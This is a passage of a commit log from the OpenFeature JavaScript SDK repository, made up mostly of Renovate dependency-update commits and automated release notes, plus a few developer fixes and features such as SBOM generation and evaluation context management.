<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy44Ny4yIiwidXBkYXRlZEluVmVyIjoiMzcuODcuMiIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-12-12 03:41:53 +00:00
renovate[bot] eed8934a3f
chore(deps): update dependency eslint-config-prettier to v9.1.0 (#711)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[eslint-config-prettier](https://togithub.com/prettier/eslint-config-prettier)
| [`9.0.0` ->
`9.1.0`](https://renovatebot.com/diffs/npm/eslint-config-prettier/9.0.0/9.1.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-config-prettier/9.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/eslint-config-prettier/9.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/eslint-config-prettier/9.0.0/9.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-config-prettier/9.0.0/9.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>prettier/eslint-config-prettier
(eslint-config-prettier)</summary>

###
[`v9.1.0`](https://togithub.com/prettier/eslint-config-prettier/blob/HEAD/CHANGELOG.md#Version-910-2023-12-02)

[Compare
Source](https://togithub.com/prettier/eslint-config-prettier/compare/v9.0.0...v9.1.0)

- Added: \[unicorn/template-indent], (as a \[special
rule]\[unicorn/template-indent-special]). Thanks to Gürgün Dayıoğlu
([@&#8203;gurgunday](https://togithub.com/gurgunday))!
- Changed: All the \[formatting rules that were deprecated in ESLint
8.53.0]\[deprecated-8.53.0] are now excluded if you set the
`ESLINT_CONFIG_PRETTIER_NO_DEPRECATED` environment variable.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy44Ny4yIiwidXBkYXRlZEluVmVyIjoiMzcuODcuMiIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-12-12 03:41:11 +00:00
Lukas Reining 3e3f3c862c
fix: missing checkout step in sbom generation (#713)
<!-- Please use this template for your pull request. -->
<!-- Please use the sections that you need and delete other sections -->

## This PR

SBOM generation failed because I forgot the checkout step.
This adds it.

Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
Co-authored-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2023-12-11 22:13:08 +00:00
OpenFeature Bot a3799e1b65
chore(main): release server-sdk 1.7.5 (#699)
🤖 I have created a release *beep* *boop*
---


##
[1.7.5](https://github.com/open-feature/js-sdk/compare/server-sdk-v1.7.4...server-sdk-v1.7.5)
(2023-12-08)


### 🐛 Bug Fixes

* handlers should run immediately
([#701](https://github.com/open-feature/js-sdk/issues/701))
([dba858b](dba858b454))
* type support for Promise&lt;void&gt; before hook
([#693](https://github.com/open-feature/js-sdk/issues/693))
([0b9ca18](0b9ca1814c))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2023-12-11 14:49:15 +00:00
OpenFeature Bot 1748a24215
chore(main): release web-sdk 0.4.8 (#702)
🤖 I have created a release *beep* *boop*
---


##
[0.4.8](https://github.com/open-feature/js-sdk/compare/web-sdk-v0.4.7...web-sdk-v0.4.8)
(2023-12-08)


###  New Features

* ability to get current provider state
([#703](https://github.com/open-feature/js-sdk/issues/703))
([5be715e](5be715e10b))
* add evaluation context management to the web SDK
([#704](https://github.com/open-feature/js-sdk/issues/704))
([95524f4](95524f4199))


### 🐛 Bug Fixes

* handlers should run immediately
([#701](https://github.com/open-feature/js-sdk/issues/701))
([dba858b](dba858b454))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2023-12-08 19:02:03 +00:00
Michael Beemer b4e0cd16cd
chore: reorder release please change log sections
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2023-12-08 13:58:44 -05:00
Michael Beemer 95524f4199
feat: add evaluation context management to the web SDK (#704)
## This PR

- adds the ability to manage named context in the web SDK

### Related Issues

Fixes #685 

### Notes

This change requires additions to the spec before it can be merged. I'll
mark this PR as a draft until the spec has been updated.

I also noticed that we currently use the term "named clients" to
describe the scoped providers. I believe this terminology is confusing
and made writing the JSDocs difficult because the client name shouldn't
be important when setting context. I think we should consider using the
term "Provider Namespace". In my opinion, this more accurately describes
the behavior and could be introduced in a non-breaking way.

---------

Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2023-12-08 18:31:48 +00:00
renovate[bot] 0e1ff8b258
chore(deps): update dependency eslint-plugin-jsdoc to v46.9.0 (#669)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [eslint-plugin-jsdoc](https://togithub.com/gajus/eslint-plugin-jsdoc)
| [`46.8.2` ->
`46.9.0`](https://renovatebot.com/diffs/npm/eslint-plugin-jsdoc/46.8.2/46.9.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-plugin-jsdoc/46.9.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/eslint-plugin-jsdoc/46.9.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/eslint-plugin-jsdoc/46.8.2/46.9.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-plugin-jsdoc/46.8.2/46.9.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>gajus/eslint-plugin-jsdoc (eslint-plugin-jsdoc)</summary>

###
[`v46.9.0`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v46.9.0)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v46.8.2...v46.9.0)

##### Features

- bump jsdoccomment, devDeps.; fixes
[#&#8203;1167](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1167)
([fd1eab0](fd1eab0e2b))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy41OS44IiwidXBkYXRlZEluVmVyIjoiMzcuODEuMyIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-12-08 16:43:56 +00:00
renovate[bot] 548de72336
chore(deps): update dependency ts-node to v10.9.2 (#706)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [ts-node](https://typestrong.org/ts-node)
([source](https://togithub.com/TypeStrong/ts-node)) | [`10.9.1` ->
`10.9.2`](https://renovatebot.com/diffs/npm/ts-node/10.9.1/10.9.2) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/ts-node/10.9.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/ts-node/10.9.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/ts-node/10.9.1/10.9.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/ts-node/10.9.1/10.9.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>TypeStrong/ts-node (ts-node)</summary>

###
[`v10.9.2`](https://togithub.com/TypeStrong/ts-node/releases/tag/v10.9.2):
Fix `tsconfig.json` file not found

[Compare
Source](https://togithub.com/TypeStrong/ts-node/compare/v10.9.1...v10.9.2)

**Fixed**

- Fixed `tsconfig.json` file not found on latest TypeScript version
([https://github.com/TypeStrong/ts-node/pull/2091](https://togithub.com/TypeStrong/ts-node/pull/2091))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy44Ny4yIiwidXBkYXRlZEluVmVyIjoiMzcuODcuMiIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-12-08 16:43:39 +00:00
renovate[bot] ece75b7424
chore(deps): update dependency typedoc to v0.25.4 (#707)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [typedoc](https://typedoc.org)
([source](https://togithub.com/TypeStrong/TypeDoc)) | [`0.25.3` ->
`0.25.4`](https://renovatebot.com/diffs/npm/typedoc/0.25.3/0.25.4) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/typedoc/0.25.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/typedoc/0.25.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/typedoc/0.25.3/0.25.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/typedoc/0.25.3/0.25.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>TypeStrong/TypeDoc (typedoc)</summary>

###
[`v0.25.4`](https://togithub.com/TypeStrong/TypeDoc/blob/HEAD/CHANGELOG.md#v0254-2023-11-26)

[Compare
Source](https://togithub.com/TypeStrong/TypeDoc/compare/v0.25.3...v0.25.4)

##### Features

- Added support for TypeScript 5.3,
[#&#8203;2446](https://togithub.com/TypeStrong/TypeDoc/issues/2446).
- TypeDoc will now render interfaces as code at the top of the page
describing interfaces,
[#&#8203;2449](https://togithub.com/TypeStrong/TypeDoc/issues/2449).
This can be controlled through the new
`DefaultThemeRenderContext.reflectionPreview` helper.
- Improved type rendering to highlight keywords differently than
symbols.

##### Bug Fixes

- Fixed automatic declaration file resolution on Windows,
[#&#8203;2416](https://togithub.com/TypeStrong/TypeDoc/issues/2416).
- Fixed default option values on options declared by plugins in packages
mode,
[#&#8203;2433](https://togithub.com/TypeStrong/TypeDoc/issues/2433).
- `gitRevision` will now be replaced in `sourceLinkTemplate`,
[#&#8203;2434](https://togithub.com/TypeStrong/TypeDoc/issues/2434).
- Improved handling of function-modules created with `Object.assign`,
[#&#8203;2436](https://togithub.com/TypeStrong/TypeDoc/issues/2436).
- TypeDoc will no longer warn about duplicate comments with warnings
which point to a single comment,
[#&#8203;2437](https://togithub.com/TypeStrong/TypeDoc/issues/2437)
- Fixed an infinite loop when `skipLibCheck` is used to ignore some
compiler errors,
[#&#8203;2438](https://togithub.com/TypeStrong/TypeDoc/issues/2438).
- `@example` tag titles will now be rendered in the example heading,
[#&#8203;2440](https://togithub.com/TypeStrong/TypeDoc/issues/2440).
- Correctly handle transient symbols in `@namespace`-created namespaces,
[#&#8203;2444](https://togithub.com/TypeStrong/TypeDoc/issues/2444).
- TypeDoc no longer displays the "Hierarchy" section if there is no
inheritance hierarchy to display.
- Direct links to individual signatures no longer results in the
signature being partially scrolled off the screen.

##### Thanks!

-   [@&#8203;li-jia-nan](https://togithub.com/li-jia-nan)
-   [@&#8203;Nokel81](https://togithub.com/Nokel81)
-   [@&#8203;ocavue](https://togithub.com/ocavue)
-   [@&#8203;swarnpallav](https://togithub.com/swarnpallav)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy44Ny4yIiwidXBkYXRlZEluVmVyIjoiMzcuODcuMiIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-12-08 11:37:48 -05:00
renovate[bot] a4310a2ed0
chore(deps): update dependency eslint-plugin-import to v2.29.0 (#607)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[eslint-plugin-import](https://togithub.com/import-js/eslint-plugin-import)
| [`2.28.1` ->
`2.29.0`](https://renovatebot.com/diffs/npm/eslint-plugin-import/2.28.1/2.29.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-plugin-import/2.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/eslint-plugin-import/2.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/eslint-plugin-import/2.28.1/2.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-plugin-import/2.28.1/2.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>import-js/eslint-plugin-import (eslint-plugin-import)</summary>

###
[`v2.29.0`](https://togithub.com/import-js/eslint-plugin-import/blob/HEAD/CHANGELOG.md#2290---2023-10-22)

[Compare
Source](https://togithub.com/import-js/eslint-plugin-import/compare/v2.28.1...v2.29.0)

##### Added

- TypeScript config: add .cts and .mts extensions
(\[[#&#8203;2851](https://togithub.com/import-js/eslint-plugin-import/issues/2851)],
thanks \[[@&#8203;Zamiell](https://togithub.com/Zamiell)])
- \[`newline-after-import`]: new option `exactCount` and docs update
(\[[#&#8203;1933](https://togithub.com/import-js/eslint-plugin-import/issues/1933)],
thanks \[[@&#8203;anikethsaha](https://togithub.com/anikethsaha)] and
\[[@&#8203;reosarevok](https://togithub.com/reosarevok)])
- \[`newline-after-import`]: fix `exactCount` with `considerComments`
false positive, when there is a leading comment
(\[[#&#8203;2884](https://togithub.com/import-js/eslint-plugin-import/issues/2884)],
thanks \[[@&#8203;kinland](https://togithub.com/kinland)])

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4zMS4yIiwidXBkYXRlZEluVmVyIjoiMzcuODEuMyIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-12-08 11:37:32 -05:00
renovate[bot] 390e328714
chore(deps): update dependency prettier to v3.1.0 (#670)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [prettier](https://prettier.io)
([source](https://togithub.com/prettier/prettier)) | [`3.0.3` ->
`3.1.0`](https://renovatebot.com/diffs/npm/prettier/3.0.3/3.1.0) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/prettier/3.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/prettier/3.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/prettier/3.0.3/3.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/prettier/3.0.3/3.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>prettier/prettier (prettier)</summary>

###
[`v3.1.0`](https://togithub.com/prettier/prettier/blob/HEAD/CHANGELOG.md#310)

[Compare
Source](https://togithub.com/prettier/prettier/compare/3.0.3...3.1.0)

[diff](https://togithub.com/prettier/prettier/compare/3.0.3...3.1.0)

🔗 [Release Notes](https://prettier.io/blog/2023/11/13/3.1.0.html)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy41OS44IiwidXBkYXRlZEluVmVyIjoiMzcuODEuMyIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-12-08 11:28:09 -05:00
renovate[bot] 70863c662d
chore(deps): update dependency @types/jest to v29.5.11 (#690)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@types/jest](https://togithub.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/jest)
([source](https://togithub.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/jest))
| [`29.5.8` ->
`29.5.11`](https://renovatebot.com/diffs/npm/@types%2fjest/29.5.8/29.5.11)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fjest/29.5.11?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fjest/29.5.11?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fjest/29.5.8/29.5.11?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fjest/29.5.8/29.5.11?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy41OS44IiwidXBkYXRlZEluVmVyIjoiMzcuODEuMyIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-12-08 11:27:56 -05:00
Todd Baert 5be715e10b
feat: ability to get current provider state (#703)
This is separate PR for a similar change
[here](https://github.com/open-feature/js-sdk/pull/698).

I'm hesitant to spec this at the moment. I'm only implementing it in the
client because it seems particularly useful for React.

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2023-12-01 20:52:34 +00:00
Todd Baert dba858b454
fix: handlers should run immediately (#701)
* web-sdk handlers should run immediately if provider in matching state
* added tests for both server and client

Fixes: https://github.com/open-feature/js-sdk/issues/700

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2023-12-01 17:13:05 +00:00
Michael Beemer 0b9ca1814c
fix: type support for Promise<void> before hook (#693)
## This PR

- Updates the server-side before hook type to perform async work without
modifying context.

### Related Issues

Fixes #689

### Notes

I added a test but the test runner isn't not validating types.

---------

Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2023-11-30 17:26:12 +00:00
Juan Bernal 2d1b8ebfb1
chore: fix React SDK README.md to use the resolved value instead of the resolution details (#691)
## This PR

The documentation conditionally renders something if the returned value
from the hook is truthy, but this implies that it is simply checking for
the entirety of the `EvaluationDetails<T>` returned from
`useFeatureFlag` which seems off since we will always get an object back
according to the typings. It feel like it should be checking against the
`.value` to conditionally render the elements.

Signed-off-by: Juan Bernal <juanxwtf@gmail.com>
2023-11-29 14:05:07 +00:00
renovate[bot] 85e4b7ccf5
chore(deps): update dependency @types/events to v3.0.3 (#666)
[![Mend Renovate logo
banner](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@types/events](https://togithub.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/events)
([source](https://togithub.com/DefinitelyTyped/DefinitelyTyped)) |
[`3.0.2` ->
`3.0.3`](https://renovatebot.com/diffs/npm/@types%2fevents/3.0.2/3.0.3)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fevents/3.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fevents/3.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fevents/3.0.2/3.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fevents/3.0.2/3.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy40Ni4wIiwidXBkYXRlZEluVmVyIjoiMzcuNDYuMCIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-11-27 14:29:30 -05:00
Lukas Reining cc9fe79c55
fix: SBOM generation (#688)
Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
2023-11-27 13:11:58 -05:00
OpenFeature Bot a53a62d6d4
chore(main): release react-sdk 0.0.5-experimental (#686)
🤖 I have created a release *beep* *boop*
---


##
[0.0.5-experimental](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.0.4-experimental...react-sdk-v0.0.5-experimental)
(2023-11-27)


### 🐛 Bug Fixes

* rm NodeJS type from core, rm react core peer
([#681](https://github.com/open-feature/js-sdk/issues/681))
([09ff7b4](09ff7b4d99))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2023-11-27 12:10:47 -05:00
OpenFeature Bot aa898f0aa3
chore(main): release web-sdk 0.4.7 (#687)
🤖 I have created a release *beep* *boop*
---


##
[0.4.7](https://github.com/open-feature/js-sdk/compare/web-sdk-v0.4.6...web-sdk-v0.4.7)
(2023-11-27)


### 🧹 Chore

* **main:** release core 0.0.20
([#682](https://github.com/open-feature/js-sdk/issues/682))
([9629578](9629578369))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2023-11-27 12:05:29 -05:00
OpenFeature Bot b055bc8688
chore(main): release server-sdk 1.7.4 (#684)
🤖 I have created a release *beep* *boop*
---


##
[1.7.4](https://github.com/open-feature/js-sdk/compare/server-sdk-v1.7.3...server-sdk-v1.7.4)
(2023-11-27)


### 🐛 Bug Fixes

* add Provider Not Ready Error
([#680](https://github.com/open-feature/js-sdk/issues/680))
([b0054f9](b0054f920d))


### 🧹 Chore

* **main:** release core 0.0.20
([#682](https://github.com/open-feature/js-sdk/issues/682))
([9629578](9629578369))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2023-11-27 11:44:09 -05:00
OpenFeature Bot 9629578369
chore(main): release core 0.0.20 (#682)
🤖 I have created a release *beep* *boop*
---


##
[0.0.20](https://github.com/open-feature/js-sdk/compare/core-v0.0.19...core-v0.0.20)
(2023-11-27)


### 🐛 Bug Fixes

* add Provider Not Ready Error
([#680](https://github.com/open-feature/js-sdk/issues/680))
([b0054f9](b0054f920d))
* rm NodeJS type from core, rm react core peer
([#681](https://github.com/open-feature/js-sdk/issues/681))
([09ff7b4](09ff7b4d99))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: openfeature-peer-update-bot <openfeature-peer-update-bot@openfeature.dev>
Co-authored-by: openfeature-peer-update-bot <openfeature-peer-update-bot@openfeature.dev>
2023-11-27 11:37:51 -05:00
Todd Baert 09ff7b4d99
fix: rm NodeJS type from core, rm react core peer (#681)
* remove a NodeJS type from core module which needs to be platform
agnostic
* remove core peer dep from react sdk, which gets core through web-sdk

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2023-11-27 16:21:32 +00:00
Lukas Reining 5845370045
feat: generate SBOM and attach to release artifacts (#672)
Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
2023-11-27 11:07:37 -05:00
Bill Lynch b0054f920d
fix: add Provider Not Ready Error (#680)
<!-- Please use this template for your pull request. -->
<!-- Please use the sections that you need and delete other sections -->

## This PR
Adds an Error class for the error code Provider Not Ready. To match the
other error codes.

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2023-11-22 17:24:53 +00:00
OpenFeature Bot a14669f778
chore(main): release react-sdk 0.0.4-experimental (#678)
🤖 I have created a release *beep* *boop*
---


##
[0.0.4-experimental](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.0.3-experimental...react-sdk-v0.0.4-experimental)
(2023-11-21)


### 🧹 Chore

* **main:** release core 0.0.19
([#676](https://github.com/open-feature/js-sdk/issues/676))
([b0cbeb4](b0cbeb460c))

---
This PR was generated with [Release
